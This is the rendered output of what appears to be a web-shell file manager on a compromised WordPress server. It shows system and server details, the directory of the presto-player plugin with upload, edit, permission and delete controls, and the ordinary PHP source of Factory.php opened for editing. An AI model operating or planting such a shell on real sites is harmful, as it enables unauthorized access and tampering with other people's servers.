[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
inc
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 Blocks
SET
[ DEL ]
📁 Contracts
SET
[ DEL ]
📁 Database
SET
[ DEL ]
📁 Integrations
SET
[ DEL ]
📁 Libraries
SET
[ DEL ]
📁 Models
SET
[ DEL ]
📁 Seeds
SET
[ DEL ]
📁 Services
SET
[ DEL ]
📁 Support
SET
[ DEL ]
📁 config
SET
[ DEL ]
📁 lib
SET
[ DEL ]
📄 Activator.php
511 B
SET
[ EDIT ]
|
[ DEL ]
📄 Attachment.php
7,513 B
SET
[ EDIT ]
|
[ DEL ]
📄 Controller.php
850 B
SET
[ EDIT ]
|
[ DEL ]
📄 Core.php
1,179 B
SET
[ EDIT ]
|
[ DEL ]
📄 Deactivator.php
3,065 B
SET
[ EDIT ]
|
[ DEL ]
📄 Factory.php
2,960 B
SET
[ EDIT ]
|
[ DEL ]
📄 Files.php
6,912 B
SET
[ EDIT ]
|
[ DEL ]
📄 Playlist.php
1,935 B
SET
[ EDIT ]
|
[ DEL ]
📄 Plugin.php
2,415 B
SET
[ EDIT ]
|
[ DEL ]
📄 Requirements.php
2,030 B
SET
[ EDIT ]
|
[ DEL ]
📄 support.php
155 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: Factory.php
<?php namespace PrestoPlayer; use PrestoPlayer\Plugin; use PrestoPlayer\Attachment; use PrestoPlayer\Controller; use PrestoPlayer\Support\Block; use PrestoPlayer\Services\Scripts; // Disabled: PrestoPlayer\Services\BunnyCDN class does not exist. Kept for reference. // use PrestoPlayer\Services\BunnyCDN; use PrestoPlayer\Services\Settings; use PrestoPlayer\Services\AdminNotices; use PrestoPlayer\Services\Usage; class Factory { const SHARED = array( 'shared' => true ); public $instance; public function __construct( $instance ) { $this->instance = $instance; } public function isPro() { return Plugin::isPro(); } /** * Retrieves the rules for setting up the plugin. * * @since 2.1.0 * * @return array */ public function getRules() { return array( // Disabled: BunnyCDN service class does not exist; this was a stale reference. // BunnyCDN::class => self::SHARED, Visits::class => self::SHARED, ReusableVideos::class => self::SHARED, AdminNotices::class => self::SHARED, Usage::class => self::SHARED, Settings::class => array( 'constructParams' => array( $this->isPro(), ), ), Attachment::class => array( 'constructParams' => array( $this->isPro(), ), ), // blocks Block::class => array( 'constructParams' => array( $this->isPro(), $this->getPluginVersion( PRESTO_PLAYER_PLUGIN_FILE ), ), ), // plugin controller Controller::class => array( 'constructParams' => array( $this->getComponents() ), ), Scripts::class => array( 'shared' => true, 'constructParams' => array( $this->isPro(), $this->getPluginVersion( PRESTO_PLAYER_PLUGIN_FILE ), ), ), ); } /** * Retrieves the plugin version. * * @param string $plugin_file The full plugin path. * * @return string */ protected function getPluginVersion( $plugin_file ) { // Load version from plugin data. if ( ! \function_exists( 'get_plugin_data' ) ) { require_once \ABSPATH . 'wp-admin/includes/plugin.php'; } return \get_plugin_data( $plugin_file, false, false )['Version']; } /** * Retrieves the list of plugin components run during normal operations * (i.e. not including the Uninstallation component). */ public function getComponents() { $config = require_once 'config/app.php'; $components = $config['components']; $components = array_merge( $components, $config['pro_components'] ); return $this->formatComponents( $components ); } /** * Formats components to use in DICE * * @param array $components * @return array */ public function formatComponents( $components = array() ) { $formatted = array(); if ( ! $components ) { return array(); } foreach ( array_filter( $components ) as $component ) { $formatted[] = array( $this->instance::INSTANCE => $component ); } return $formatted; } }